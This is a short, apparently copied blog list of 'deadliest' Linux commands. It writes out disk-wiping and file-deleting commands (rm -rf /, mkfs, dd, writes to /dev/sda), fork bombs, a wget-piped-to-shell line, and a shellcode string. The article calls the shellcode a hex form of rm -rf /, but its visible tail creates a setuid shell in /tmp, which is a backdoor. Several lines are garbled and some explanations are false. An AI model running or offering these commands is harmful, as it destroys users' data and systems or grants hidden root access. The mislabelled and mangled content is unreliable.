Ten Deadliest and Killer Commands on Linux
# rm -rf /
This command will delete all the files and folders inside your / directory recursively and forcefully. This will give you a GRUB error 15
2.
# mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
3. Now this is a killer. FORK BOMB
# {‘s::(){
:& };:
This command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
4.
# cd /
# chattr -R +i *
Now sit back and watch people go nuts none of the files or dirs on the system can be modded or removed (reboots usually don’t succeed )
5.
# mv /home/yourhomedirectory/* /dev/null
OR
# mv ~/* /dev/null
This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.
6.
# dd if=/dev/zero of=/dev/sda
Do this and your hard disk will be formatted back to factory defaults!
7.
Perl Fork Bomb
perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 8. This is a Piece of HEX Code. char esp [] __attribute__ ((section (. “text”))) / * esp release * / = “\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68? “\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99? “\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7? “\ X56 \ X04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ x74 \ X56? “\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ xcd \ x80 \ x31? “\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69? “\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00? “Cp-p / bin / sh / tmp / .beyond; chmod 4755 / tmp / .beyond; ” This is the hex version of [rm-rf /] that can deceive even those not experienced users of GNU/Linux. 9. any_command_on_linux> /dev/sda
This command causes total loss of data, in the partition that is mentioned in command
10.
# wget http://some_untrusted_source_on_the_web -O- | sh
This would download the file from untrsued source and run it to make maximum damage to your system.
<h3>Ten Deadliest and Killer Commands on Linux</h3>
Ten Deadliest and Killer Commands on linux
No related posts.




